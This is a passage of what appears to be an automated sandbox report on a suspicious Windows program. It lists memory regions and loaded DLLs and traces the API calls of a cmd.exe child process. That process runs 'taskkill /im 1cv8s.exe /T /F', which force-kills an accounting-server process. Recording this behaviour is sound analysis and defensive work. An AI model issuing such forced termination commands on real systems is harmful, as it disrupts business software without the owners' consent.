mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1863 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1864 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1865 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1866 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1867 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1868 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1869 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1870 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1871 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1872 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1873 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1874 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1875 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1876 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1877 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1878 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1879 start_va = 0x7fef6ff0000 end_va = 0x7fef7015fff entry_point = 0x7fef6ff0000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1880 start_va = 0x7fef4120000 end_va = 0x7fef4319fff entry_point = 0x7fef4120000 region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 1881 start_va = 0x7fef46f0000 end_va = 0x7fef473bfff entry_point = 0x7fef46f0000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 1882 start_va = 0x7fefb940000 end_va = 0x7fefb950fff entry_point = 0x7fefb940000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1883 start_va = 0x7fefd480000 end_va = 0x7fefd4a4fff entry_point = 0x7fefd480000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1884 start_va = 0x7fef8f40000 end_va = 0x7fef8f47fff entry_point = 0x7fef8f40000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Thread: id = 72 os_tid = 0xb9c Thread: id = 73 os_tid = 0xb98 Thread: id = 74 os_tid = 0xb94 Thread: id = 75 os_tid = 0xb90 Thread: id = 76 os_tid = 0xb8c Thread: id = 77 os_tid = 0xb88 Thread: id = 78 os_tid = 0xb84 Thread: id = 79 os_tid = 0xba0 Thread: id = 162 os_tid = 0xa1c Process: id = "30" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x483dc000" os_pid = "0xba8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv8s.exe /T /F" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1886 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1887 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1888 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1889 start_va = 0x50000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1890 start_va = 0x150000 end_va = 0x153fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 1891 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 1892 start_va = 0x170000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1893 start_va = 0x4aa80000 end_va = 0x4aacbfff entry_point = 0x4aa80000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 1894 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1895 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1896 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1897 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1898 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1899 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1900 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1901 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1902 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1903 start_va = 0x2f0000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 1904 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1905 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1906 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1907 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1908 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1909 start_va = 0x1b0000 end_va = 0x216fff entry_point = 0x1b0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1910 start_va = 0x290000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1911 start_va = 0x4b0000 end_va = 0x5affff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1912 start_va = 0x75260000 end_va = 0x75266fff entry_point = 0x75260000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 1913 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1914 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1915 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1916 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1917 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1918 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1919 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1920 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1921 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1922 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1923 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1924 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1925 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 1926 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 1927 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1928 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1929 start_va = 0x5b0000 end_va = 0x737fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 1930 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1931 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1932 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1933 start_va = 0x220000 end_va = 0x221fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1934 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1935 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 1936 start_va = 0x740000 end_va = 0x8c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 1937 start_va = 0x8d0000 end_va = 0x1ccffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 1938 start_va = 0x1cd0000 end_va = 0x2012fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001cd0000" filename = "" Region: id = 1939 start_va = 0x2020000 end_va = 0x22eefff entry_point = 0x2020000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 80 os_tid = 0xbac [0045.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14f854 | out: lpSystemTimeAsFileTime=0x14f854*(dwLowDateTime=0xd9c4b380, dwHighDateTime=0x1d4abdd)) [0045.362] GetCurrentProcessId () returned 0xba8 [0045.362] GetCurrentThreadId () returned 0xbac [0045.362] GetTickCount () returned 0x1a775 [0045.362] QueryPerformanceCounter (in: lpPerformanceCount=0x14f84c | out: lpPerformanceCount=0x14f84c*=1812059200000) returned 1 [0045.363] GetModuleHandleA (lpModuleName=0x0) returned 0x4aa80000 [0045.363] __set_app_type (_Type=0x1) [0045.363] __p__fmode () returned 0x75ed31f4 [0045.363] __p__commode () returned 0x75ed31fc [0045.363] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aaa21a6) returned 0x0 [0045.363] __getmainargs (in: _Argc=0x4aaa4238, _Argv=0x4aaa4240, _Env=0x4aaa423c, _DoWildCard=0, _StartInfo=0x4aaa4140 | out: _Argc=0x4aaa4238, _Argv=0x4aaa4240, _Env=0x4aaa423c) returned 0 [0045.363] GetCurrentThreadId () returned 0xbac [0045.364] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xbac) returned 0x60 [0045.364] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0045.364] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0045.364] SetThreadUILanguage (LangId=0x0) returned 0x409 [0045.364] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0045.364] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14f7e4 | out: phkResult=0x14f7e4*=0x0) returned 0x2 [0045.365] VirtualQuery (in: lpAddress=0x14f81b, lpBuffer=0x14f7b4, dwLength=0x1c | out: lpBuffer=0x14f7b4*(BaseAddress=0x14f000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0045.365] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x14f7b4, dwLength=0x1c | out: lpBuffer=0x14f7b4*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0045.365] VirtualQuery (in: lpAddress=0x51000, lpBuffer=0x14f7b4, dwLength=0x1c | out: lpBuffer=0x14f7b4*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0045.365] VirtualQuery (in: lpAddress=0x53000, lpBuffer=0x14f7b4, dwLength=0x1c | out: lpBuffer=0x14f7b4*(BaseAddress=0x53000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0045.365] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x14f7b4, dwLength=0x1c | out: lpBuffer=0x14f7b4*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0045.365] GetConsoleOutputCP () returned 0x1b5 [0045.365] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aaa4260 | out: lpCPInfo=0x4aaa4260) returned 1 [0045.365] SetConsoleCtrlHandler (HandlerRoutine=0x4aa9e72a, Add=1) returned 1 [0045.365] _get_osfhandle (_FileHandle=1) returned 0x7 [0045.365] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0045.365] _get_osfhandle (_FileHandle=1) returned 0x7 [0045.365] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aaa41ac | out: lpMode=0x4aaa41ac) returned 1 [0045.365] _get_osfhandle (_FileHandle=1) returned 0x7 [0045.366] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0045.366] _get_osfhandle (_FileHandle=0) returned 0x3 [0045.366] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aaa41b0 | out: lpMode=0x4aaa41b0) returned 1 [0045.366] _get_osfhandle (_FileHandle=0) returned 0x3 [0045.366] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0045.366] GetEnvironmentStringsW () returned 0x4c2b28* [0045.366] FreeEnvironmentStringsW (penv=0x4c2b28) returned 1 [0045.367] GetEnvironmentStringsW () returned 0x4c2b28* [0045.367] FreeEnvironmentStringsW (penv=0x4c2b28) returned 1 [0045.367] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e754 | out: phkResult=0x14e754*=0x6c) returned 0x0 [0045.367] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e75c, lpData=0x14e760, lpcbData=0x14e758*=0x1000 | out: lpType=0x14e75c*=0x0, lpData=0x14e760*=0x32, lpcbData=0x14e758*=0x1000) returned 0x2 [0045.367] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e75c, lpData=0x14e760, lpcbData=0x14e758*=0x1000 | out: lpType=0x14e75c*=0x4, lpData=0x14e760*=0x1, lpcbData=0x14e758*=0x4) returned 0x0 [0045.367] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e75c, lpData=0x14e760, lpcbData=0x14e758*=0x1000 | out: lpType=0x14e75c*=0x0, lpData=0x14e760*=0x1, lpcbData=0x14e758*=0x1000) returned 0x2 [0045.367] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e75c, lpData=0x14e760, lpcbData=0x14e758*=0x1000 | out: lpType=0x14e75c*=0x4, lpData=0x14e760*=0x0, lpcbData=0x14e758*=0x4) returned 0x0 [0045.367] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e75c, lpData=0x14e760, lpcbData=0x14e758*=0x1000 | out: lpType=0x14e75c*=0x4, lpData=0x14e760*=0x40, lpcbData=0x14e758*=0x4) returned 0x0 [0045.367] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e75c, lpData=0x14e760, lpcbData=0x14e758*=0x1000 | out: lpType=0x14e75c*=0x4, lpData=0x14e760*=0x40, lpcbData=0x14e758*=0x4) returned 0x0 [0045.367] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e75c, lpData=0x14e760, lpcbData=0x14e758*=0x1000 | out: lpType=0x14e75c*=0x0, lpData=0x14e760*=0x40, lpcbData=0x14e758*=0x1000) returned 0x2 [0045.367] RegCloseKey (hKey=0x6c) returned 0x0 [0045.367] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e754 | out: phkResult=0x14e754*=0x6c) returned 0x0 [0045.368] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e75c, lpData=0x14e760, lpcbData=0x14e758*=0x1000 | out: lpType=0x14e75c*=0x0, lpData=0x14e760*=0x40, lpcbData=0x14e758*=0x1000) returned 0x2 [0045.368] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e75c, lpData=0x14e760, lpcbData=0x14e758*=0x1000 | out: lpType=0x14e75c*=0x4, lpData=0x14e760*=0x1, lpcbData=0x14e758*=0x4) returned 0x0 [0045.368] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e75c, lpData=0x14e760, lpcbData=0x14e758*=0x1000 | out: lpType=0x14e75c*=0x0, lpData=0x14e760*=0x1, lpcbData=0x14e758*=0x1000) returned 0x2 [0045.368] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e75c, lpData=0x14e760, lpcbData=0x14e758*=0x1000 | out: lpType=0x14e75c*=0x4, lpData=0x14e760*=0x0, lpcbData=0x14e758*=0x4) returned 0x0 [0045.368] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e75c, lpData=0x14e760, lpcbData=0x14e758*=0x1000 | out: lpType=0x14e75c*=0x4, lpData=0x14e760*=0x9, lpcbData=0x14e758*=0x4) returned 0x0 [0045.368] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e75c, lpData=0x14e760, lpcbData=0x14e758*=0x1000 | out: lpType=0x14e75c*=0x4, lpData=0x14e760*=0x9, lpcbData=0x14e758*=0x4) returned 0x0 [0045.368] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e75c, lpData=0x14e760, lpcbData=0x14e758*=0x1000 | out: lpType=0x14e75c*=0x0, lpData=0x14e760*=0x9, lpcbData=0x14e758*=0x1000) returned 0x2 [0045.368] RegCloseKey (hKey=0x6c) returned 0x0 [0045.368] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f53 [0045.368] srand (_Seed=0x5c3c3f53) [0045.368] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv8s.exe /T /F" [0045.368] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv8s.exe /T /F" [0045.368] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aaa5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0045.368] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4c4bb8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0045.369] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aab0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0045.369] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aab0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0045.369] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aab0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0045.369] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0045.369] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0045.369] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0045.369] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0045.369] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0045.369] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0045.369] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0045.369] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0045.369] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0045.369] GetEnvironmentStringsW () returned 0x4c2b28* [0045.369] FreeEnvironmentStringsW (penv=0x4c2b28) returned 1 [0045.369] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4aab0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0045.370] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4aab0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0045.370] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0045.370] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0045.370] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0045.370] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0045.370] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0045.370] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0045.370] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0045.370] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0045.370] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x14f520 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0045.370] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x14f520, lpFilePart=0x14f51c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14f51c*="Desktop") returned 0x25 [0045.370] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0045.370] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x14f29c | out: lpFindFileData=0x14f29c) returned 0x4c1dc0 [0045.370] FindClose (in: hFindFile=0x4c1dc0 | out: hFindFile=0x4c1dc0) returned 1 [0045.370] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x14f29c | out: lpFindFileData=0x14f29c) returned 0x4c1dc0 [0045.370] FindClose (in: hFindFile=0x4c1dc0 | out: hFindFile=0x4c1dc0) returned 